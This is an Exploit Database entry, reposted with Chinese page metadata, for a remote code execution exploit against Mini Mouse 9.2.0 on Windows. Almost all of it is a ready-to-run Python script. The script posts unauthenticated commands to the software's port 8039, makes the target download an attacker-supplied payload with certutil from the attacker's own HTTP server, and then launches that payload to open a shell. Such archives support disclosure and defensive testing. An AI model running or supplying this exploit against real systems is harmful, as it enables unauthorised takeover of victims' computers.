Mini Mouse 9.2.0 – Remote Code Execution

• Exploit Database
• 17 阅读

• 作者： gosh
  日期： 2021-04-05
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49743/

• # Exploit Title: Mini Mouse 9.2.0 - Remote Code Execution
  # Author: gosh
  # Date: 01-04-2021
  # Vendor Homepage: http://yodinfo.com
  # Software Link: https://imgv.oss-cn-hangzhou.aliyuncs.com/minimouse.msi
  # Version: 9.2.0
  # Tested on: Windows 10 Pro build 19042.662
  
  #!/usr/bin/python3
  import requests
  import json
  import jsonargparse
  from time import sleep
  
  ip = input("target's ip:")
  lhost = input("local http server ip: ")
  name = input("payload file name: ")
  url = "http://{}:8039/op=command".format(ip)
  headers = {"Content-Type": "application/json", "Connection": "keep-alive", "Accept": "*/*", "User-Agent": "MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)", "Accept-Language": "en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8", "Accept-Encoding": "gzip, deflate"}
  down = {"command_operate_type": 0, "name": "abc", "script": f"certutil.exe -urlcache -split -f http://{lhost}/{name} C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
  r = requests.post(url, headers=headers, json=down)
  print("[+] Retrieving payload")
  sleep(1)
  shell={"command_operate_type": 0, "name": "abd", "script": f"start /B C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
  s = requests.post(url, headers=headers, json=shell)
  print (r.status_code)
  print ("[+] got shell!")